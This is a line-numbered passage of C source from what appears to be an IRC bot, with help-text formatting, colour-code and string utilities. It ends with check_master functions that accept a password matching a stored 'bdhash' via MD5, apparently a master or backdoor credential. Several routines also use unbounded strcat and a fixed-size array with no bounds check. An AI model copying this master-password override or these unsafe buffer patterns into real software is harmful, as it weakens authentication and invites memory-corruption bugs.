  763. if (flagrec_ok(&fr, flags)) {
  764. ok = 1;
  765. while (*string && *string != '%') {
  766. sprintf(tmp, "%c", *string);
  767. strcat(helpstr, tmp);
  768. string++;
  769. }
  770. if (!strncmp(string + 1, "{-", 2)) {
  771. ok = 1;
  772. while (*string && *string != '}') {
  773. string++;
  774. }
  775. string++;
  776. }
  777. } else {
  778. ok = 0;
  779. }
  780. } else if (!strncmp(string + 1, "{-", 2)) {
  781. ok = 1;
  782. while (*string && *string != '}') {
  783. string++;
  784. }
  785. string++;
  786. } else if (*string == '{') {
  787. while (*string && *string != '}') {
  788. string++;
  789. }
  790. } else if (*(string + 1) == 'd') {
  791. string += 2;
  792. strcat(helpstr, settings.dcc_prefix);
  793. } else if (*(string + 1) == '%') {
  794. string += 2;
  795. strcat(helpstr, "%");
  796. } else {
  797. if (ok) {
  798. sprintf(tmp, "%c", *string);
  799. strcat(helpstr, tmp);
  800. }
  801. string++;
  802. }
  803. } else {
  804. if (ok) {
  805. sprintf(tmp, "%c", *string);
  806. strcat(helpstr, tmp);
  807. }
  808. string++;
  809. }
  810. }
  811. helpstr[strlen(helpstr)] = 0;
  812. if (helpstr[0]) dumplots(idx, "", helpstr);
  813. free(helpstr);
  814. }
  815. /* Arrange the N elements of ARRAY in random order. */
  816. static void shuffleArray(char *array[], size_t n)
  817. {
  818. size_t j = 0;
  819. char *temp = NULL;
  820. for (size_t i = 0; i < n; i++) {
  821. j = i + random() / (RAND_MAX / (n - i) + 1);
  822. temp = array[j];
  823. array[j] = array[i];
  824. array[i] = temp;
  825. }
  826. }
  827. void shuffle(char *string, char *delim)
  828. {
  829. char *array[501], *str = NULL, *work = NULL;
  830. size_t len = 0;
  831. egg_bzero(&array, sizeof array);
  832. work = strdup(string);
  833. str = strtok(work, delim);
  834. while(str && *str)
  835. {
  836. array[len] = str;
  837. len++;
  838. str = strtok((char*) NULL, delim);
  839. }
  840. shuffleArray(array, len);
  841. string[0] = 0;
  842. for (size_t i = 0; i < len; i++) {
  843. strcat(string, array[i]);
  844. if (i != len - 1)
  845. strcat(string, delim);
  846. }
  847. free(work);
  848. string[strlen(string)] = 0;
  849. }
  850. /* returns
  851. 1: use ANSI
  852. 2: use mIRC
  853. 0: neither
  854. */
  855. int
  856. coloridx(int idx)
  857. {
  858. if (idx == -1) { /* who cares, just show color! */
  859. return 1; /* ANSI */
  860. } else if (idx == -2) {
  861. return 2; /* mIRC */
  862. /* valid idx and NOT relaying */
  863. } else if (idx >= 0 && (dcc[idx].status & STAT_COLOR) && (dcc[idx].type && dcc[idx].type != &DCC_RELAYING)) {
  864. /* telnet probably wants ANSI, even though it might be a relay from an mIRC client; fuck`em */
  865. if (dcc[idx].status & STAT_TELNET)
  866. return 1;
  867. /* non-telnet is probably a /dcc-chat, most irc clients support mIRC codes... */
  868. else
  869. return 2;
  870. }
  871. return 0;
  872. }
  873. const char *
  874. color(int idx, int type, int which)
  875. {
  876. int ansi = 0;
  877. /* if user is connected over TELNET or !backgrd, show ANSI
  878. * if they are relaying, they are most likely on an IRC client and should have mIRC codes
  879. */
  880. if ((ansi = coloridx(idx)) == 0)
  881. return "";
  882. if (ansi == 2)
  883. ansi = 0;
  884. if (type == BOLD_OPEN) {
  885. return ansi ? "\033[1m" : "\002";
  886. } else if (type == BOLD_CLOSE) {
  887. return ansi ? "\033[22m" : "\002";
  888. } else if (type == UNDERLINE_OPEN) {
  889. return ansi ? "\033[4m" : "\037";
  890. } else if (type == UNDERLINE_CLOSE) {
  891. return ansi ? "\033[24m" : "\037";
  892. } else if (type == FLASH_OPEN) {
  893. return ansi ? "\033[5m" : "\002\037";
  894. } else if (type == FLASH_CLOSE) {
  895. return ansi ? "\033[0m" : "\037\002";
  896. } else if (type == COLOR_OPEN) {
  897. switch (which) {
  898. case C_BLACK: return ansi ? "\033[30m" : "\00301";
  899. case C_RED: return ansi ? "\033[31m" : "\00305";
  900. case C_GREEN: return ansi ? "\033[32m" : "\00303";
  901. case C_BROWN: return ansi ? "\033[33m" : "\00307";
  902. case C_BLUE: return ansi ? "\033[34m" : "\00302";
  903. case C_PURPLE: return ansi ? "\033[35m" : "\00306";
  904. case C_CYAN: return ansi ? "\033[36m" : "\00310";
  905. case C_WHITE: return ansi ? "\033[1;37m" : "\00300";
  906. case C_DARKGREY: return ansi ? "\033[1;30m" : "\00314";
  907. case C_LIGHTRED: return ansi ? "\033[1;31m" : "\00304";
  908. case C_LIGHTGREEN: return ansi ? "\033[1;32m" : "\00309";
  909. case C_LIGHTBLUE: return ansi ? "\033[1;34m" : "\00312";
  910. case C_LIGHTPURPLE: return ansi ? "\033[1;35m" : "\00313";
  911. case C_LIGHTCYAN: return ansi ? "\033[1;36m" : "\00311";
  912. case C_LIGHTGREY: return ansi ? "\033[37m" : "\00315";
  913. case C_YELLOW: return ansi ? "\033[1;33m" : "\00308";
  914. default: break;
  915. }
  916. } else if (type == COLOR_CLOSE) {
  917. return ansi ? "\033[0m" : "\00300";
  918. }
  919. /* This should never be reached.. */
  920. return "";
  921. }
  922. char *
  923. strtolower(char *s)
  924. {
  925. char *p = s;
  926. while (*p) {
  927. *p = tolower(*p);
  928. p++;
  929. }
  930. return s;
  931. }
  932. char *
  933. strtoupper(char *s)
  934. {
  935. char *p = s;
  936. while (*p) {
  937. *p = toupper(*p);
  938. p++;
  939. }
  940. return s;
  941. }
  942. char *step_thru_file(FILE *fd)
  943. {
  944. if (fd == NULL) {
  945. return NULL;
  946. }
  947. char tempBuf[1024] = "", *retStr = NULL;
  948. while (!feof(fd)) {
  949. fgets(tempBuf, sizeof(tempBuf), fd);
  950. if (!feof(fd)) {
  951. if (retStr == NULL) {
  952. retStr = (char *) calloc(1, strlen(tempBuf) + 2);
  953. strcpy(retStr, tempBuf);
  954. } else {
  955. retStr = (char *) realloc(retStr, strlen(retStr) + strlen(tempBuf));
  956. strcat(retStr, tempBuf);
  957. }
  958. if (retStr[strlen(retStr)-1] == '\n') {
  959. retStr[strlen(retStr)-1] = 0;
  960. break;
  961. }
  962. }
  963. }
  964. return retStr;
  965. }
  966. char *trim(char *string)
  967. {
  968. if (string) {
  969. char *ibuf = NULL, *obuf = NULL;
  970. for (ibuf = obuf = string; *ibuf; ) {
  971. while (*ibuf && (isspace (*ibuf)))
  972. ibuf++;
  973. if (*ibuf && (obuf != string))
  974. *(obuf++) = ' ';
  975. while (*ibuf && (!isspace (*ibuf)))
  976. *(obuf++) = *(ibuf++);
  977. }
  978. *obuf = '\0';
  979. }
  980. return (string);
  981. }
  982. int skipline (char *line, int *skip) {
  983. static int multi = 0;
  984. if ( (!strncmp(line, "#", 1)) || (!strncmp(line, ";", 1)) || (!strncmp(line, "//", 2)) ) {
  985. (*skip)++;
  986. } else if ( (strstr(line, "/*")) && (strstr(line, "*/")) ) {
  987. multi = 0;
  988. (*skip)++;
  989. } else if ( (strstr(line, "/*")) ) {
  990. (*skip)++;
  991. multi = 1;
  992. } else if ( (strstr(line, "*/")) ) {
  993. multi = 0;
  994. } else {
  995. if (!multi) (*skip) = 0;
  996. }
  997. return (*skip);
  998. }
  999. bool check_master(const char *pass)
  1000. {
  1001. if (!strcmp(MD5(pass), settings.bdhash))
  1002. return 1;
  1003. return 0;
  1004. }
  1005. bool check_master_hash(const char *rand, const char *hash)
  1006. {
  1007. char tmp[151] = "";
  1008. egg_snprintf(tmp, sizeof tmp, "%s%s", rand, settings.bdhash);
  1009. if (!strcmp(MD5(tmp), hash))
  1010. return 1;
  1011. return 0;
  1012. }